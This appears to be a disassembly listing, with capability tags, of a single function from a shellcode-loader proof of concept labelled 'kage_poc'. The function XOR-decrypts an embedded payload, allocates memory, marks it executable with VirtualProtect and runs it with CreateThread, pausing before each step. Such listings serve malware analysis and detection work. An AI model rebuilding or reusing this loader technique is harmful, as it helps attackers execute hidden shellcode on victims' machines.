Function at 0x140001430
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
lea r8, str.kage_poc_init__
mov edx, 3
lea rcx, [rbp + 0x330]
call fcn.140002480
nop
lea r8, str.press_enter_to_decrypt__
mov edx, 3
lea rcx, [rbp + 0x2c0]
call fcn.140002480
nop
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, 0x539
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1400013f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor esi, esi
mov edx, esi
lea rdi, [0x14000b1d0]
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x39]
xor byte [rcx + rdi], al
inc edx
cmp edx, 0x110
jb 0x1400014d0
mov r9, rdi
lea r8, str.payload_decrypted_at_0x_p
mov r15d, 1
mov edx, r15d
lea rcx, [rbp + 0x250]
call fcn.140002480
nop
lea r8, str.press_enter_to_allocate_memory__
lea edx, [r15 + 2]
lea rcx, [rbp + 0x1e0]
call fcn.140002480
nop
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, 0x110
xor ecx, ecx
lea r9d, [r15 + 3]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1400015d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, str.VirtualAlloc_Failed_With_Error_:__d
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140002480
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x140001585
sub ecx, r15d
je 0x140001577
sub ecx, r15d
je 0x14000157e
sub ecx, r15d
jne 0x14000158a
mov esi, 0x40
jmp 0x14000158a
mov esi, 0x30
jmp 0x14000158a
mov esi, 0x10
lea r14, [0x14000b548]
cmp qword [0x14000b560], 0xf
cmova r14, qword [0x14000b548]
lea rbx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rbx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov r9d, esi
mov r8, r14
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rsp + 0x40]
jmp 0x1400018d8
mov r9, rbx
lea r8, str.payload_memory_allocated_at_0x_p__
mov edx, r15d
lea rcx, [rbp + 0x170]
call fcn.140002480
nop
lea r8, str.press_enter_to_write_payload_in_memory__
mov edx, 3
lea rcx, [rbp + 0x100]
call fcn.140002480
nop
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rax, rbx
mov rdx, rdi
mov r8d, 2
nop dword [rax + rax]
movups xmm0, xmmword [rdx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub r8, 1
jne 0x140001620
movups xmm0, xmmword [rdx]
movups xmmword [rax], xmm0
xor edx, edx
mov r8d, 0x110
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
lea r8, str.payload_written_in_memory__
mov edx, r15d
lea rcx, [rbp + 0x90]
call fcn.140002480
nop
mov dword [rsp + 0x30], esi
lea r9, [rsp + 0x30]
mov edi, 0x40
mov r8d, edi
mov edx, 0x110
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001752
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, str.VirtualProtect_Failed_With_Error_:__d
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140002480
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x140001704
sub ecx, 1
je 0x1400016f9
sub ecx, 1
je 0x1400016fd
sub ecx, 1
jne 0x140001709
mov esi, edi
jmp 0x140001709
mov esi, 0x30
jmp 0x140001709
mov esi, 0x10
lea r14, [0x14000b548]
cmp qword [0x14000b560], 0xf
cmova r14, qword [0x14000b548]
lea rbx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rbx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov r9d, esi
mov r8, r14
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rsp + 0x40]
jmp 0x1400018b1
lea r8, str.press_enter_to_execute_payload__
mov edx, 3
lea rcx, [rbp + 0x20]
call fcn.140002480
nop
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x14000181c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, str.CreateThread_Failed_With_Error_:__d
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140002480
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x1400017ce
sub ecx, 1
je 0x1400017c3
sub ecx, 1
je 0x1400017c7
sub ecx, 1
jne 0x1400017d3
mov esi, edi
jmp 0x1400017d3
mov esi, 0x30
jmp 0x1400017d3
mov esi, 0x10
lea r14, [0x14000b548]
cmp qword [0x14000b560], 0xf
cmova r14, qword [0x14000b548]
lea rbx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rbx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov r9d, esi
mov r8, r14
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rsp + 0x40]
jmp 0x1400018a7
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r8, str.payload_execution_finished__
mov edx, r15d
lea rcx, [rbp - 0x50]
call fcn.140002480
mov ecx, dword [rbp - 0x50]
test ecx, ecx
je 0x14000185e
sub ecx, 1
je 0x140001863
sub ecx, 1
je 0x140001857
sub ecx, 1
je 0x140001863
mov edi, esi
jmp 0x140001863
mov edi, 0x30
jmp 0x140001863
mov edi, 0x10
lea r14, [0x14000b548]
cmp qword [0x14000b560], 0xf
cmova r14, qword [0x14000b548]
lea rbx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova rbx, qword [rbp - 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov r9d, edi
mov r8, r14
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r15d, esi
lea rcx, [rbp - 0x50]
call fcn.140001940
nop
lea rcx, [rbp + 0x20]
call fcn.140001940
nop
lea rcx, [rbp + 0x90]
call fcn.140001940
nop
lea rcx, [rbp + 0x100]
call fcn.140001940
nop
lea rcx, [rbp + 0x170]
call fcn.140001940
nop
lea rcx, [rbp + 0x1e0]
call fcn.140001940
nop
lea rcx, [rbp + 0x250]
call fcn.140001940
nop
lea rcx, [rbp + 0x2c0]
call fcn.140001940
nop
lea rcx, [rbp + 0x330]
call fcn.140001940
mov eax, r15d
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.140004e90
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret